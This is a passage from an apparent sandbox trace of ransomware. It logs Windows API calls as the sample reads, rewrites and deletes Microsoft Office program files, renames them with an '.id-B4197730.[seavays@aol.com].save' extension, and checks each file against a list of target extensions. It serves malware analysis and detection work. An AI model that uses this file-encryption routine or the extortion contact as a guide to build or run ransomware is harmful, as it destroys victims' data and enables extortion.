lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0073.425] WriteFile (in: hFile=0x370, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xfa, lpOverlapped=0x0) returned 1 [0073.425] SetEndOfFile (hFile=0x370) returned 1 [0073.426] CloseHandle (hObject=0x370) returned 1 [0073.426] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.426] SetEndOfFile (hFile=0x37c) returned 1 [0073.427] CloseHandle (hObject=0x37c) returned 1 [0073.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0073.427] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1 [0073.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0073.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0073.428] lstrlenW (lpString=".doc") returned 4 [0073.428] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0073.428] lstrlenW (lpString=".docx") returned 5 [0073.428] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0073.428] lstrlenW (lpString=".pdf") returned 4 [0073.428] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0073.428] lstrlenW (lpString=".xls") returned 4 [0073.428] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0073.428] lstrlenW (lpString=".xlsx") returned 5 [0073.428] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0073.428] lstrlenW (lpString=".ppt") returned 4 [0073.428] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0073.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0073.428] lstrlenW (lpString=".zip") returned 4 [0073.428] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0073.428] lstrlenW (lpString=".rar") returned 4 [0073.429] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0073.429] lstrlenW (lpString=".bz2") returned 4 [0073.429] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0073.429] lstrlenW (lpString=".7z") returned 3 [0073.429] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0073.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0073.429] lstrlenW (lpString=".dbf") returned 4 [0073.429] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0073.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0073.429] lstrlenW (lpString=".1cd") returned 4 [0073.429] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0073.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0073.429] lstrlenW (lpString=".jpg") returned 4 [0073.429] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0073.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0073.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0073.429] lstrlenW (lpString=".doc") returned 4 [0073.429] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0073.429] lstrlenW (lpString=".docx") returned 5 [0073.429] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0073.429] lstrlenW (lpString=".pdf") returned 4 [0073.429] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0073.429] lstrlenW (lpString=".xls") returned 4 [0073.429] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0073.429] lstrlenW (lpString=".xlsx") returned 5 [0073.429] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0073.430] lstrlenW (lpString=".ppt") returned 4 [0073.430] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0073.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0073.430] lstrlenW (lpString=".zip") returned 4 [0073.430] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0073.430] lstrlenW (lpString=".rar") returned 4 [0073.430] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0073.430] lstrlenW (lpString=".bz2") returned 4 [0073.430] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0073.430] lstrlenW (lpString=".7z") returned 3 [0073.430] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0073.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0073.430] lstrlenW (lpString=".dbf") returned 4 [0073.430] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0073.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0073.430] lstrlenW (lpString=".1cd") returned 4 [0073.430] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0073.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0073.430] lstrlenW (lpString=".jpg") returned 4 [0073.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0073.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[seavays@aol.com].save")) returned 1 [0073.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0073.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0073.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0073.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0073.432] lstrlenW (lpString=".doc") returned 4 [0073.432] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0073.432] lstrlenW (lpString=".docx") returned 5 [0073.432] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0073.432] lstrlenW (lpString=".pdf") returned 4 [0073.433] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0073.433] lstrlenW (lpString=".xls") returned 4 [0073.433] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0073.433] lstrlenW (lpString=".xlsx") returned 5 [0073.433] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0073.433] lstrlenW (lpString=".ppt") returned 4 [0073.433] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0073.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0073.433] lstrlenW (lpString=".zip") returned 4 [0073.433] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0073.433] lstrlenW (lpString=".rar") returned 4 [0073.433] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0073.433] lstrlenW (lpString=".bz2") returned 4 [0073.433] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0073.433] lstrlenW (lpString=".7z") returned 3 [0073.433] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0073.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0073.433] lstrlenW (lpString=".dbf") returned 4 [0073.433] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0073.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0073.433] lstrlenW (lpString=".1cd") returned 4 [0073.433] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0073.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0073.433] lstrlenW (lpString=".jpg") returned 4 [0073.433] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0073.435] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.436] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0073.436] GetLastError () returned 0x0 [0073.436] ReadFile (in: hFile=0x37c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0xefec0, lpOverlapped=0x0) returned 1 [0073.462] WriteFile (in: hFile=0x370, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xefed0, lpOverlapped=0x0) returned 1 [0073.813] ReadFile (in: hFile=0x37c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0073.813] WriteFile (in: hFile=0x370, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xec, lpOverlapped=0x0) returned 1 [0073.813] SetEndOfFile (hFile=0x370) returned 1 [0073.813] CloseHandle (hObject=0x370) returned 1 [0073.813] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.813] SetEndOfFile (hFile=0x37c) returned 1 [0073.823] CloseHandle (hObject=0x37c) returned 1 [0073.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0073.824] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1 [0073.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0073.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0073.825] lstrlenW (lpString=".doc") returned 4 [0073.825] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0073.825] lstrlenW (lpString=".docx") returned 5 [0073.825] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0073.825] lstrlenW (lpString=".pdf") returned 4 [0073.825] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0073.825] lstrlenW (lpString=".xls") returned 4 [0073.825] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0073.825] lstrlenW (lpString=".xlsx") returned 5 [0073.825] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0073.825] lstrlenW (lpString=".ppt") returned 4 [0073.825] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0073.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0073.825] lstrlenW (lpString=".zip") returned 4 [0073.826] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0073.826] lstrlenW (lpString=".rar") returned 4 [0073.826] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0073.826] lstrlenW (lpString=".bz2") returned 4 [0073.826] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0073.826] lstrlenW (lpString=".7z") returned 3 [0073.826] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0073.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0073.826] lstrlenW (lpString=".dbf") returned 4 [0073.826] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0073.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0073.826] lstrlenW (lpString=".1cd") returned 4 [0073.826] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0073.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0073.826] lstrlenW (lpString=".jpg") returned 4 [0073.826] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0074.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0074.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0074.012] lstrlenW (lpString=".doc") returned 4 [0074.012] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.012] lstrlenW (lpString=".docx") returned 5 [0074.012] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1 [0074.012] lstrlenW (lpString=".pdf") returned 4 [0074.012] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.012] lstrlenW (lpString=".xls") returned 4 [0074.012] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.013] lstrlenW (lpString=".xlsx") returned 5 [0074.013] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1 [0074.013] lstrlenW (lpString=".ppt") returned 4 [0074.013] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0074.013] lstrlenW (lpString=".zip") returned 4 [0074.013] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.013] lstrlenW (lpString=".rar") returned 4 [0074.013] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.013] lstrlenW (lpString=".bz2") returned 4 [0074.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.013] lstrlenW (lpString=".7z") returned 3 [0074.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0074.013] lstrlenW (lpString=".dbf") returned 4 [0074.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0074.013] lstrlenW (lpString=".1cd") returned 4 [0074.013] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0074.013] lstrlenW (lpString=".jpg") returned 4 [0074.013] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.024] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.024] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0074.025] GetLastError () returned 0x0 [0074.025] ReadFile (in: hFile=0x2f4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x58cd0, lpOverlapped=0x0) returned 1 [0074.038] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x58ce0, lpOverlapped=0x0) returned 1 [0074.046] ReadFile (in: hFile=0x2f4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.046] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0074.046] SetEndOfFile (hFile=0x398) returned 1 [0074.046] CloseHandle (hObject=0x398) returned 1 [0074.046] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.046] SetEndOfFile (hFile=0x2f4) returned 1 [0074.050] CloseHandle (hObject=0x2f4) returned 1 [0074.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0074.050] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1 [0074.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0074.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0074.051] lstrlenW (lpString=".doc") returned 4 [0074.051] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0074.051] lstrlenW (lpString=".docx") returned 5 [0074.051] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0074.051] lstrlenW (lpString=".pdf") returned 4 [0074.051] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0074.051] lstrlenW (lpString=".xls") returned 4 [0074.051] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0074.051] lstrlenW (lpString=".xlsx") returned 5 [0074.051] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0074.051] lstrlenW (lpString=".ppt") returned 4 [0074.051] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0074.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0074.051] lstrlenW (lpString=".zip") returned 4 [0074.051] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0074.051] lstrlenW (lpString=".rar") returned 4 [0074.051] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0074.051] lstrlenW (lpString=".bz2") returned 4 [0074.051] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0074.051] lstrlenW (lpString=".7z") returned 3 [0074.052] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0074.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0074.052] lstrlenW (lpString=".dbf") returned 4 [0074.052] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0074.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0074.052] lstrlenW (lpString=".1cd") returned 4 [0074.052] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0074.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0074.052] lstrlenW (lpString=".jpg") returned 4 [0074.052] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0074.052] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.052] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0074.053] GetLastError () returned 0x0 [0074.053] ReadFile (in: hFile=0x2f4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x902bb, lpOverlapped=0x0) returned 1 [0074.283] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x902c0, lpOverlapped=0x0) returned 1 [0074.296] ReadFile (in: hFile=0x2f4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.296] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x104, lpOverlapped=0x0) returned 1 [0074.296] SetEndOfFile (hFile=0x398) returned 1 [0074.296] CloseHandle (hObject=0x398) returned 1 [0074.296] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.296] SetEndOfFile (hFile=0x2f4) returned 1 [0074.303] CloseHandle (hObject=0x2f4) returned 1 [0074.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0074.303] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0074.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0074.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0074.304] lstrlenW (lpString=".doc") returned 4 [0074.304] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0074.304] lstrlenW (lpString=".docx") returned 5 [0074.304] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0074.304] lstrlenW (lpString=".pdf") returned 4 [0074.304] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0074.304] lstrlenW (lpString=".xls") returned 4 [0074.304] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0074.304] lstrlenW (lpString=".xlsx") returned 5 [0074.304] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0074.304] lstrlenW (lpString=".ppt") returned 4 [0074.304] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0074.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0074.304] lstrlenW (lpString=".zip") returned 4 [0074.304] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0074.305] lstrlenW (lpString=".rar") returned 4 [0074.305] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0074.305] lstrlenW (lpString=".bz2") returned 4 [0074.305] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0074.305] lstrlenW (lpString=".7z") returned 3 [0074.305] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0074.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0074.305] lstrlenW (lpString=".dbf") returned 4 [0074.305] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0074.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0074.305] lstrlenW (lpString=".1cd") returned 4 [0074.305] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0074.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0074.305] lstrlenW (lpString=".jpg") returned 4 [0074.305] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0074.700] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 